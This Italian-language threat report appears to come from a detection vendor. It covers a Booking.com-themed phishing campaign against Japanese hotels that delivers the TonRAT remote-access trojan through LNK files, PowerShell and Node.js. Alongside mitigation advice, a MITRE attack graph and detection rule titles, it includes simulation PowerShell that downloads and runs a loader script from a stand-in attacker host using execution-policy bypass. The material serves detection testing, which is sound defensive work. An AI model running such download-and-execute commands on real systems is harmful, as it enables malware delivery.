Analisi delle Email Sospette che Prendono di Mira l’Industria Alberghiera
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una campagna di phishing che si spacciava per Booking.com ha preso di mira gli operatori alberghieri in Giappone tramite un’infrastruttura ospitata su Calendly e SendGrid. L’email includeva un link accorciato che portava a un archivio ZIP contenente un collegamento malevolo LNK, che avviava poi un loader basato su PowerShell. Quel loader recuperava ulteriori script PowerShell, decriptava un payload JavaScript identificato come TonRAT, scaricava Node.js ed eseguiva il RAT. Il malware stabiliva quindi il comando e controllo tramite un endpoint WebSocket ottenuto tramite l’API TON.
Indagine
Il rapporto descrive l’analisi dell’header delle email, l’abuso di servizi di consegna legittimi e l’intera catena di esecuzione a più stadi utilizzata nell’attacco. Fornisce gli hash dei file per l’archivio ZIP e i suoi componenti interni e elenca i domini di comando e controllo osservati durante l’analisi. L’indagine include anche dettagli tecnici sul file LNK malevolo e sui comandi PowerShell usati per progredire nell’infezione.
Mitigazione
I difensori dovrebbero bloccare i link abbreviati sospetti di Calendly, verificare attentamente i domini dei mittenti e limitare l’esecuzione degli allegati LNK consegnati via email. Il monitoraggio dovrebbe anche concentrarsi sull’attività non autorizzata di PowerShell e sui binari di Node.js inattesi che appaiono sugli endpoint. Il filtraggio degli URL può aiutare a bloccare l’accesso ai domini malevoli noti coinvolti nella campagna.
Risposta
I team di sicurezza dovrebbero creare rilevamenti per i comandi PowerShell che scaricano contenuti dai domini di comando e controllo identificati e per l’esecuzione di node.exe da posizioni insolite. Gli avvisi dovrebbero anche essere configurati per i flussi di email che utilizzano header SendGrid da fonti non affidabili o inattese. Gli investigatori dovrebbero raccogliere i file scaricati e conservare il traffico di rete associato alle comunicazioni WebSocket osservate.
"graph TB %% Definizioni di Classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodi action_phishing["<b>Azione</b> – <b>T1566.002 Spearphishing Link</b><br/>Email di phishing contenente un link malevolo di Calendly viene inviata alla vittima."] class action_phishing action action_user_click["<b>Azione</b> – <b>T1204.001 Esecuzione Utente: Link Malevolo</b><br/>La vittima clicca sul link malevolo di Calendly, facendo sì che il browser scarichi un archivio ZIP."] class action_user_click action action_download_zip["<b>Azione</b> – Scarica ZIP<br/>L’archivio ZIP contiene un collegamento (.lnk) e un file MP4 fittizio."] class action_download_zip action action_open_shortcut["<b>Azione</b> – <b>T1547.009 Modifica Collegamento</b><br/>La vittima apre il collegamento .lnk, che esegue un comando PowerShell."] class action_open_shortcut action tool_powershell["<b>Strumento</b> – PowerShell<br/><b>Scopo</b>: Esegue comandi e scarica payload aggiuntivi."] class tool_powershell tool action_download_script["<b>Azione</b> – <b>T1105 Trasferimento Strumento Ingresso</b><br/>PowerShell scarica uno script aggiuntivo da un server remoto."] class action_download_script action action_download_js["<b>Azione</b> – <b>T1027.009 Payload Incorporati</b><br/>PowerShell scarica anche un payload JavaScript crittato."] class action_download_js action action_download_node["<b>Azione</b> – Scarica Runtime Node.js<br/>Il runtime di Node.js viene scaricato e usato per avviare la fase successiva."] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>Trojan di accesso remoto basato su JavaScript eseguito tramite Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Azione</b> – <b>T1568 Risoluzione Dinamica</b><br/>TonRAT consulta l’API TON per risolvere i domini di comando e controllo in tempo reale."] class action_dynamic_resolution action action_c2["<b>Azione</b> – <b>T1071.001 Protocollo Livello Applicazione: Protocolli Web</b><br/>Stabilisce un canale WebSocket per comunicazioni C2."] class action_c2 action %% Connessioni action_phishing –>|conduce a| action_user_click action_user_click –>|attiva| action_download_zip action_download_zip –>|contiene| action_open_shortcut action_open_shortcut –>|esegue| tool_powershell tool_powershell –>|usa| action_download_script tool_powershell –>|usa| action_download_js action_download_script –>|fornisce| action_download_node action_download_js –>|fornisce| action_download_node action_download_node –>|avvia| malware_tonrat malware_tonrat –>|esegue| action_dynamic_resolution action_dynamic_resolution –>|abilita| action_c2 "
Flusso di Attacco
Rilevamenti
Controllo del Comando e Controllo Sospetto tramite DNS Richiesta da Dominio di Livello Superiore Insolito (TLD)
Visualizza
Possibile File LNK Malevolo con Doppia Estensione (via cmdline)
Visualizza
Possibilità di Esecuzione Tramite Linee di Comando PowerShell Nascoste (via cmdline)
Visualizza
PowerShell Esegue File in Directory Sospetta Utilizzando Bypass Execution Policy (via cmdline)
Visualizza
Possibili Indicatori di Offuscamento PowerShell (via powershell)
Visualizza
IOC (SourceIP) da rilevare: Analisi di Email Sospette Che Prendono di Mira l’Industria Alberghiera (Parte 1: Panoramica della Campagna)
Visualizza
IOC (DestinationIP) da rilevare: Analisi di Email Sospette Che Prendono di Mira l’Industria Alberghiera (Parte 1: Panoramica della Campagna)
Visualizza
Rilevamento di Email di Phishing Che Imitano Booking.com tramite Calendly [Email]
Visualizza
Rileva il Dispiegamento di TonRAT tramite PowerShell e Runtime Node.js [Windows Powershell]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il controllo preliminare di telemetria e baseline deve essere superato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrativa di Attacco & Comandi:
-
Accesso Iniziale – Download di PowerShell
L’attaccante ottiene una sessione remota di PowerShell sull’host compromesso e utilizzaInvoke-WebRequestper ottenere lo script loader TonRAT da un server C2 malevolo. Questo passaggio soddisfa laInvoke-WebRequestcorrispondenza della stringa.powershell -NoProfile -ExecutionPolicy Bypass -Command ^ "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1" -
Esecuzione del Loader
Lo script scaricato viene eseguito, il quale a sua volta avvia un secondo processo PowerShell per eseguire ulteriori comandi (ancora contenenti il termine letterale “PowerShell”).powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1 -
Esecuzione del Payload Node.js
TonRAT rilascia un file JavaScript malevolo (malicious.js) e lo avvia con il runtime Node.js (node.exe). Questo genera lanode.execorrispondenza della stringa.# Presumere che lo script abbia già posizionato malicious.js in C:Temp C:Program Filesnodejsnode.exe C:Tempmalicious.js
Le tre creazioni di processo (PowerShell con
Invoke-WebRequest, PowerShell che esegue il loader enode.exe) soddisfano collettivamente la condizione della regola di rilevamento. -
-
Script di Test di Regressione:
#------------------------------------------------- # Simulazione di Dispiegamento di TonRAT – attiva la regola Sigma #------------------------------------------------- $tempDir = "$env:TEMPtonrat_demo" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # 1. Scarica fake loader (simulato con un semplice echo) $loaderUrl = "http://malicious.example.com/tonrat.ps1" $loaderPath = "$tempDirtonrat.ps1" Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing # 2. Esegui il loader (il loader crea solo un file js fittizio) powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath # 3. Crea un payload JavaScript fittizio $jsPath = "C:Tempmalicious.js" Set-Content -Path $jsPath -Value "console.log('Payload malevolo eseguito');" # 4. Esegui il payload con Node.js $nodePath = "C:Program Filesnodejsnode.exe" & $nodePath $jsPath #------------------------------------------------- -
Comandi di Pulizia:
# Rimuovi tutti gli artefatti creati dalla simulazione Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force Remove-Item -Path "C:Tempmalicious.js" -Force # Opzionalmente termina eventuali processi PowerShell/Node rimanenti (se necessario) Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force